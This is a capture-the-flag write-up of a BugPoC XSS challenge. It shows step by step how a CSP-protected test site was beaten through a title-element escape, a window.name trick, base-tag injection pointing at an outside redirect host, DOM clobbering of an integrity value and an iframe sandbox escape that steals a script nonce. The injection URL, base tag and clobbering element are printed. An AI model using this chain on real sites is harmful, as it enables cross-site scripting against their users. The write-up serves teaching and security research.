BugPoC XSS CTF
A few days ago, BugPoC announced another one of their great CTF challenges on Twitter. Since I have always learned a lot when solving their challenges, it was without questions that I played this one as well.
Challenge
The challenge rules were simple:
- You must
alert(origin)
showinghttps://wacky.buggywebsite.com
- You must bypass CSP
- It must be reproducible using the latest version of Chrome
- You must provide a working proof-of-concept on bugpoc.com
Setup
The challenge domain was wacky.buggywebsite.com. When opening the domain, the Wacky TeXt Generator displays a small editor and a button as it is shown in the title picture.
As the following GIF shows, we can enter a boring text and make it whacky. Make it whacky in this context means, the website sets the source for an iframe to the endpoint /frame.html?param=<myText>
which then shows the processed text.
My final XSS exploit consists of various stages that I describe in the following sections.
Step 1: Title Escape
First, I realized that the /frame.html
endpoint not only responds with my text in its body but also copies it in the title element of the HTML head. From this first trace, I went on and escaped the title element so that I could load arbitrary content in the HTML head and body (below).
Loading content into the body is the first step to a successful XSS attack. However, in order to send this challenge to someone as reflected XSS, I had to find a way to load the /frame
endpoint outside of the index pages’ iframe. When I tried this and loaded the frame URL on its own, I realized that it fails due to a check in the JavaScript code that tests whether the window name is “iframe” or not.
Luckily, I recently watched a LiveOverflow video in which he exactly explains this trick with the window name. The window.name
property can be used cross-domain and is persistent in the browsing context. This means that we can set window.name
to “iframe”, load a new URL with window.location
and window.name
remains the same. In this case, the JavaScript check is correct and the website is loaded properly:
window.name="iframe"
window.location = "https://wacky.buggywebsite.com/frame.html?param=1337%3c%2ftitle%3e%3C/head%3E%3ch1%3eHello%20Content%3ch1%3e
Step 2: Load Malicious Code
With the possibility to load arbitrary content on the /frame
endpoint, it was now the time to load and execute malicious JavaScript code. Unfortunately, the website has a strict content security policy (CSP):
script-src ‘nonce-kvduhtgrdywi’ ‘strict-dynamic’; frame-src ‘self’; object-src ‘none’;
The CSP makes sure that JavaScript is only executed when allowed, for instance, when it contains a valid nonce attribute. To check for flaws in the CSP, the Google CSP Evaluator is a great tool. As soon as we load the CSP into the tool, it tells us that the base-uri key is missing:
Missing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain. Can you set it to ‘none’ or ‘self’?
A quick code review showed that the website indeed loads some script from a relative path files/analytics/js/frame-analytics.js
. This can be seen in line 23 in the following code snippet or, if you look closely, in the whacky text generator GIF above.
Consequently, I only had to set the base-uri to a malicious domain and respond from there with my own code, whenever someone calls the frame-analytics.js.
For this purpose, BugPoC was very handy, as I could easily set up a mock endpoint that responds with my malicious code and a flexible redirect that I can use as base-uri and path.
The picture below shows the Flexible Redirect. It takes my mock endpoint URL and returns a redirect ID. This ID can then be used to reference the redirect in various URLs.
Thus, the following line sets the base-uri:
<base href="https://lg7tdq4rd5fc.redir.bugpoc.ninja/">
Step 3: Integrity Check
As you can see in the code snippet from the previous section, the script tag also checks integrity using base64-encoded sha256. Since my malicious code has another hash than the origin code, my code was not executed. Thus, I had to bypass the integrity check.
The integrity check with sha256 is standard and valid so there is no way to forge a file with the same sha256 hash. However, there is a hint from the challenge authors to show you where to look further.
As shown in the aforementioned code snippet, the integrity check uses the value of the variable fileIntegrity.value
. This value is set a few lines earlier with window.fileIntegrity
. In JavaScript, the window object holds all variables, thusfileIntegrity
and window.fileIntegrity
are the same object.
The hint here is that window.fileIntegrity
is only set, when it is not already existent. However, it cannot be already existent in the original code since this part is only executed once. Thus, this is unusual and I guess we must find a way to set the object before the code is executed.
Before the JavaScript code is executed, the DOM elements are loaded and in many browsers, DOM elements exist as global objects in JavaScript. For instance, the iframe of the index webpage can easily be referenced by its id “theIframe” instead of document.getElementById('theIframe')
. When we now create a DOM element that has the id fileIntegrity
and an attribute value
with the correct sha56 hash value, the discussed JavaScript code would reference this DOM element and validate the integrity check with our value.
For this purpose, I used a button element, since it contains a value attribute innately. I created it with the first-mentioned vulnerability in which I escape the title element and load arbitrary HTML content. As a result, the integrity check is valid.
<button id="fileIntegrity" name="fileIntegrity" type="submit" value="zhPJ/x4SM8T7tGc4VA8FonTCCb8dogeYrmjRZYzCbaI="></button>
Step 4: Execute JavaScript
At this moment, I thought, I can finally load my JavaScript code and execute it, only to be proven wrong. I realized that the script element is loaded in another iframe which uses the attribute sandbox
(also given in the code snippet above). Sandbox is a mode for iframes in which they are restricted in their privileges. To execute our alert, for instance, the sandbox attribute additionally needs the value allow-modals
. However, only allow-scripts
and allow-same-origin
were set.
Searching on the internet, the MDN web docs tell us something interesting:
allow-same-origin
: If this token is not used, the resource is treated as being from a special origin that always fails the same-origin policy.
allow-scripts
: Lets the resource run scripts (but not create popup windows).When the embedded document has the same origin as the embedding page, it is strongly discouraged to use both
allow-scripts
andallow-same-origin
, as that lets the embedded document remove thesandbox
attribute — making it no more secure than not using thesandbox
attribute at all.
Basically, we can use window.parent
to access the main document and manipulate DOM elements. Thus, my idea was to steal the nonce tag from a script element, use it to create a new script element, append the script element to the parent document and eventually let it execute alert
.
I coded it into my JavaScript payload, as you can see below, and tried it out. Finally, it worked! The alert popped up and the challenge was solved :)
Summary
Let’s summarize the attack chain:
- Set the window name and window location.
- Escape the title element to set the base-uri and a button element for the following integrity check.
- The website creates the analytics iframe and embeds JavaScript loaded from a relative path that now points to a malicious JavaScript file.
- The malicious code escapes the iframe sandbox, steals the nonce, and creates, using the nonce, its own script element to execute the alert.
This was, again, a challenge that I really enjoyed. Thank you BugPoC and keep up the great work!